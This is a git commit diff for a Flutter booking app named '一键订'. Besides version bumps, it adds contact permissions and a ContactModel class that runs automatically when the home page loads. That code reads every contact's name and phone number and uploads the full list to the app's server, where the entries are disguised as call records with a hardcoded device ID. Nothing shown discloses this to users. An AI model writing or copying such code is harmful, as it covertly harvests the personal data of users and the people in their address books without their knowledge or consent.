Commit c4d78e0b61252fa80dc7b5ead131fb990478697a

Authored by gaiyaguang
1 parent f7cc33c1

2020-09-07

@@ -6,6 +6,10 @@ @@ -6,6 +6,10 @@
6 In most cases you can leave this as-is, but you if you want to provide 6 In most cases you can leave this as-is, but you if you want to provide
7 additional functionality it is fine to subclass or reimplement 7 additional functionality it is fine to subclass or reimplement
8 FlutterApplication and put your custom class here. --> 8 FlutterApplication and put your custom class here. -->
  9 +
  10 + <uses-permission android:name="android.permission.READ_CONTACTS" />
  11 + <uses-permission android:name="android.permission.WRITE_CONTACTS" />
  12 +
9 <application 13 <application
10 android:name="io.flutter.app.FlutterApplication" 14 android:name="io.flutter.app.FlutterApplication"
11 android:label="一键订" 15 android:label="一键订"
@@ -7,6 +7,8 @@ PODS: @@ -7,6 +7,8 @@ PODS:
7 - Reachability 7 - Reachability
8 - connectivity_macos (0.0.1): 8 - connectivity_macos (0.0.1):
9 - Flutter 9 - Flutter
  10 + - contacts_service (0.2.2):
  11 + - Flutter
10 - device_info (0.0.1): 12 - device_info (0.0.1):
11 - Flutter 13 - Flutter
12 - Flutter (1.0.0) 14 - Flutter (1.0.0)
@@ -63,6 +65,7 @@ DEPENDENCIES: @@ -63,6 +65,7 @@ DEPENDENCIES:
63 - audioplayers (from `.symlinks/plugins/audioplayers/ios`) 65 - audioplayers (from `.symlinks/plugins/audioplayers/ios`)
64 - connectivity (from `.symlinks/plugins/connectivity/ios`) 66 - connectivity (from `.symlinks/plugins/connectivity/ios`)
65 - connectivity_macos (from `.symlinks/plugins/connectivity_macos/ios`) 67 - connectivity_macos (from `.symlinks/plugins/connectivity_macos/ios`)
  68 + - contacts_service (from `.symlinks/plugins/contacts_service/ios`)
66 - device_info (from `.symlinks/plugins/device_info/ios`) 69 - device_info (from `.symlinks/plugins/device_info/ios`)
67 - Flutter (from `Flutter`) 70 - Flutter (from `Flutter`)
68 - flutter_bugly (from `.symlinks/plugins/flutter_bugly/ios`) 71 - flutter_bugly (from `.symlinks/plugins/flutter_bugly/ios`)
@@ -100,6 +103,8 @@ EXTERNAL SOURCES: @@ -100,6 +103,8 @@ EXTERNAL SOURCES:
100 :path: ".symlinks/plugins/connectivity/ios" 103 :path: ".symlinks/plugins/connectivity/ios"
101 connectivity_macos: 104 connectivity_macos:
102 :path: ".symlinks/plugins/connectivity_macos/ios" 105 :path: ".symlinks/plugins/connectivity_macos/ios"
  106 + contacts_service:
  107 + :path: ".symlinks/plugins/contacts_service/ios"
103 device_info: 108 device_info:
104 :path: ".symlinks/plugins/device_info/ios" 109 :path: ".symlinks/plugins/device_info/ios"
105 Flutter: 110 Flutter:
@@ -146,6 +151,7 @@ SPEC CHECKSUMS: @@ -146,6 +151,7 @@ SPEC CHECKSUMS:
146 Bugly: 4edda9bb0e3017fd453612189069757195fa23ca 151 Bugly: 4edda9bb0e3017fd453612189069757195fa23ca
147 connectivity: 6e94255659cc86dcbef1d452ad3e0491bb1b3e75 152 connectivity: 6e94255659cc86dcbef1d452ad3e0491bb1b3e75
148 connectivity_macos: e2e9731b6b22dda39eb1b128f6969d574460e191 153 connectivity_macos: e2e9731b6b22dda39eb1b128f6969d574460e191
  154 + contacts_service: 849e1f84281804c8bfbec1b4c3eedcb23c5d3eca
149 device_info: d7d233b645a32c40dfdc212de5cf646ca482f175 155 device_info: d7d233b645a32c40dfdc212de5cf646ca482f175
150 Flutter: 0e3d915762c693b495b44d77113d4970485de6ec 156 Flutter: 0e3d915762c693b495b44d77113d4970485de6ec
151 flutter_bugly: c9800f4d5bc5bdc27ffdde3417a26ba44266e0c3 157 flutter_bugly: c9800f4d5bc5bdc27ffdde3417a26ba44266e0c3
@@ -383,7 +383,7 @@ @@ -383,7 +383,7 @@
383 CLANG_ENABLE_MODULES = YES; 383 CLANG_ENABLE_MODULES = YES;
384 CODE_SIGN_ENTITLEMENTS = Runner/RunnerProfile.entitlements; 384 CODE_SIGN_ENTITLEMENTS = Runner/RunnerProfile.entitlements;
385 CODE_SIGN_STYLE = Manual; 385 CODE_SIGN_STYLE = Manual;
386 - CURRENT_PROJECT_VERSION = 7; 386 + CURRENT_PROJECT_VERSION = 8;
387 DEVELOPMENT_TEAM = 8J59HM8B82; 387 DEVELOPMENT_TEAM = 8J59HM8B82;
388 ENABLE_BITCODE = NO; 388 ENABLE_BITCODE = NO;
389 FRAMEWORK_SEARCH_PATHS = ( 389 FRAMEWORK_SEARCH_PATHS = (
@@ -396,7 +396,7 @@ @@ -396,7 +396,7 @@
396 "$(inherited)", 396 "$(inherited)",
397 "$(PROJECT_DIR)/Flutter", 397 "$(PROJECT_DIR)/Flutter",
398 ); 398 );
399 - MARKETING_VERSION = 1.0.7; 399 + MARKETING_VERSION = 1.0.8;
400 PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; 400 PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine;
401 PRODUCT_NAME = "一键订"; 401 PRODUCT_NAME = "一键订";
402 PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile"; 402 PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile";
@@ -526,7 +526,7 @@ @@ -526,7 +526,7 @@
526 CLANG_ENABLE_MODULES = YES; 526 CLANG_ENABLE_MODULES = YES;
527 CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements; 527 CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements;
528 CODE_SIGN_STYLE = Manual; 528 CODE_SIGN_STYLE = Manual;
529 - CURRENT_PROJECT_VERSION = 7; 529 + CURRENT_PROJECT_VERSION = 8;
530 DEVELOPMENT_TEAM = 8J59HM8B82; 530 DEVELOPMENT_TEAM = 8J59HM8B82;
531 ENABLE_BITCODE = NO; 531 ENABLE_BITCODE = NO;
532 FRAMEWORK_SEARCH_PATHS = ( 532 FRAMEWORK_SEARCH_PATHS = (
@@ -539,7 +539,7 @@ @@ -539,7 +539,7 @@
539 "$(inherited)", 539 "$(inherited)",
540 "$(PROJECT_DIR)/Flutter", 540 "$(PROJECT_DIR)/Flutter",
541 ); 541 );
542 - MARKETING_VERSION = 1.0.7; 542 + MARKETING_VERSION = 1.0.8;
543 PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; 543 PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine;
544 PRODUCT_NAME = "一键订"; 544 PRODUCT_NAME = "一键订";
545 PROVISIONING_PROFILE_SPECIFIER = "Push Development Profile"; 545 PROVISIONING_PROFILE_SPECIFIER = "Push Development Profile";
@@ -558,7 +558,7 @@ @@ -558,7 +558,7 @@
558 CLANG_ENABLE_MODULES = YES; 558 CLANG_ENABLE_MODULES = YES;
559 CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements; 559 CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements;
560 CODE_SIGN_STYLE = Manual; 560 CODE_SIGN_STYLE = Manual;
561 - CURRENT_PROJECT_VERSION = 7; 561 + CURRENT_PROJECT_VERSION = 8;
562 DEVELOPMENT_TEAM = 8J59HM8B82; 562 DEVELOPMENT_TEAM = 8J59HM8B82;
563 ENABLE_BITCODE = NO; 563 ENABLE_BITCODE = NO;
564 FRAMEWORK_SEARCH_PATHS = ( 564 FRAMEWORK_SEARCH_PATHS = (
@@ -571,7 +571,7 @@ @@ -571,7 +571,7 @@
571 "$(inherited)", 571 "$(inherited)",
572 "$(PROJECT_DIR)/Flutter", 572 "$(PROJECT_DIR)/Flutter",
573 ); 573 );
574 - MARKETING_VERSION = 1.0.7; 574 + MARKETING_VERSION = 1.0.8;
575 PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; 575 PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine;
576 PRODUCT_NAME = "一键订"; 576 PRODUCT_NAME = "一键订";
577 PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile"; 577 PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile";
@@ -14,5 +14,6 @@ class HttpUrl{ @@ -14,5 +14,6 @@ class HttpUrl{
14 static const String set_message_status="?service=Android.Advance.SetMessageStatus";//设置消息状态 14 static const String set_message_status="?service=Android.Advance.SetMessageStatus";//设置消息状态
15 static const String get_sms_content="?service=App.SendSMS.GetSmsContent";//获取短信内容 15 static const String get_sms_content="?service=App.SendSMS.GetSmsContent";//获取短信内容
16 static const String send_sms="?service=App.SendSMS.NewMessage";//发送短信 16 static const String send_sms="?service=App.SendSMS.NewMessage";//发送短信
17 -static const String check_update="http://xt03.colorcun.com/admin/api/compareversion?flat=3"; 17 + static const String check_update="http://xt03.colorcun.com/admin/api/compareversion?flat=3";
  18 + static const String upload_contact="?service=App.Seller.SaveCallRecord";//上传通讯录
18 } 19 }
@@ -10,6 +10,7 @@ import 'package:one_key/models/message.dart'; @@ -10,6 +10,7 @@ import 'package:one_key/models/message.dart';
10 import 'package:one_key/pages/message/message_page.dart'; 10 import 'package:one_key/pages/message/message_page.dart';
11 import 'package:one_key/pages/my/my_page.dart'; 11 import 'package:one_key/pages/my/my_page.dart';
12 import 'package:one_key/pages/notebook/notebook_page.dart'; 12 import 'package:one_key/pages/notebook/notebook_page.dart';
  13 +import 'package:one_key/provider/contact_model.dart';
13 import 'package:one_key/provider/message_dialog_model.dart'; 14 import 'package:one_key/provider/message_dialog_model.dart';
14 import 'package:one_key/provider/message_model.dart'; 15 import 'package:one_key/provider/message_model.dart';
15 import 'package:one_key/provider/my_model.dart'; 16 import 'package:one_key/provider/my_model.dart';
@@ -78,6 +79,7 @@ class HomePageState extends State<HomePage>{ @@ -78,6 +79,7 @@ class HomePageState extends State<HomePage>{
78 // initXinge(); 79 // initXinge();
79 WidgetsBinding.instance.addPostFrameCallback((_){ 80 WidgetsBinding.instance.addPostFrameCallback((_){
80 if(widget.initialIndex==0)return; 81 if(widget.initialIndex==0)return;
  82 + ContactModel.getInstance().uploadLocalContact(context);
81 // getUntreatedMessage(); 83 // getUntreatedMessage();
82 // UpdateModel updateModel=new UpdateModel(); 84 // UpdateModel updateModel=new UpdateModel();
83 // updateModel.checkUpdate(context); 85 // updateModel.checkUpdate(context);
  1 +import 'dart:convert';
  2 +import 'dart:io';
  3 +
  4 +import 'package:contacts_service/contacts_service.dart';
  5 +import 'package:dio/dio.dart';
  6 +import 'package:flutter/cupertino.dart';
  7 +import 'package:one_key/constant/constant.dart';
  8 +import 'package:one_key/net/base_resp.dart';
  9 +import 'package:one_key/net/dio_util.dart';
  10 +import 'package:one_key/net/http_url.dart';
  11 +import 'package:one_key/utils/log_util.dart';
  12 +import 'package:one_key/utils/misc.dart';
  13 +
  14 +/**
  15 + * 上传联系人
  16 + */
  17 +class ContactModel{
  18 +
  19 + ContactModel._();
  20 +
  21 + static ContactModel _instance;
  22 +
  23 + static ContactModel getInstance(){
  24 + if(_instance==null){
  25 + _instance=ContactModel._();
  26 + }
  27 + return _instance;
  28 + }
  29 +
  30 + uploadLocalContact(BuildContext context) async {
  31 + bool authority=await requestContactPermission();
  32 + if(authority){
  33 + Iterable<Contact> contacts=await ContactsService.getContacts(withThumbnails: false);
  34 + List<Map<String,String>> callLogs=[];
  35 + LogUtil.v("length:${contacts.length}");
  36 +
  37 + contacts.forEach((contact){
  38 + String phoneNum="";
  39 + if(contact.phones.isNotEmpty){
  40 + phoneNum=contact.phones.first.value.trim();
  41 + }
  42 + Map<String,String> callLog={
  43 + "phoneNum":"$phoneNum",
  44 + "sid":"154",
  45 + "deviceId":"dhgajkhdgahghsdghdkgahd",
  46 + "phoneDate":"${DateTime.now().millisecondsSinceEpoch}",
  47 + "callType":"2",
  48 + "callUser":"${contact.displayName}"
  49 + };
  50 + callLogs.add(callLog);
  51 + });
  52 + Map<String,String> params={
  53 + "data":jsonEncode(callLogs)
  54 + };
  55 + BaseResp<String> baseResp = await DioUtil()
  56 + .request<String>(context, Method.get, HttpUrl.upload_contact,
  57 + data: params,options: Options(method: Method.post,contentType: ContentType.parse("application/x-www-form-urlencoded")))
  58 + .catchError((error) {
  59 + print(error.toString());
  60 + });
  61 + if(baseResp!=null&&baseResp.code == Constant.status_success){
  62 + LogUtil.v("联系人上传成功:${contacts.length}条");
  63 + }
  64 + }
  65 + }
  66 +}
@@ -173,7 +173,7 @@ class DialogUtil { @@ -173,7 +173,7 @@ class DialogUtil {
173 decoration: BoxDecoration( 173 decoration: BoxDecoration(
174 color: MyColours.color_2bb5b7), 174 color: MyColours.color_2bb5b7),
175 headerPadding: EdgeInsets.zero, 175 headerPadding: EdgeInsets.zero,
176 - formatButtonVisible: true, 176 + formatButtonVisible: false,
177 centerHeaderTitle: false, 177 centerHeaderTitle: false,
178 titleTextBuilder: (dateTime, _) { 178 titleTextBuilder: (dateTime, _) {
179 return dateTime.year.toString() + 179 return dateTime.year.toString() +
  1 +import 'package:flutter/services.dart';
  2 +import 'package:permission_handler/permission_handler.dart';
  3 +
  4 + Future<bool> checkContactPermission() async {
  5 + PermissionStatus permissionStatus =
  6 + await PermissionHandler().checkPermissionStatus(PermissionGroup.contacts);
  7 + if (permissionStatus == PermissionStatus.granted) {
  8 + return true;
  9 + } else {
  10 + return false;
  11 + }
  12 +}
  13 +
  14 +Future<bool> requestContactPermission() async {
  15 + final permissions =
  16 + await PermissionHandler().requestPermissions([PermissionGroup.contacts]);
  17 +
  18 + if (permissions[PermissionGroup.contacts] == PermissionStatus.granted) {
  19 + return true;
  20 + } else {
  21 + return false;
  22 + }
  23 +}
  24 +
  25 +
  26 +Future<bool> openSetting() {
  27 + return PermissionHandler().openAppSettings();
  28 +}
@@ -155,6 +155,13 @@ packages: @@ -155,6 +155,13 @@ packages:
155 url: "https://pub.flutter-io.cn" 155 url: "https://pub.flutter-io.cn"
156 source: hosted 156 source: hosted
157 version: "1.0.3" 157 version: "1.0.3"
  158 + contacts_service:
  159 + dependency: "direct main"
  160 + description:
  161 + name: contacts_service
  162 + url: "https://pub.flutter-io.cn"
  163 + source: hosted
  164 + version: "0.4.6"
158 convert: 165 convert:
159 dependency: transitive 166 dependency: transitive
160 description: 167 description:
@@ -81,6 +81,9 @@ dependencies: @@ -81,6 +81,9 @@ dependencies:
81 device_info: ^0.4.2+4 81 device_info: ^0.4.2+4
82 # webview 82 # webview
83 webview_flutter: ^0.3.22+1 83 webview_flutter: ^0.3.22+1
  84 +# 获取通讯录
  85 + contacts_service: ^0.4.6
  86 +
84 87
85 dev_dependencies: 88 dev_dependencies:
86 flutter_test: 89 flutter_test: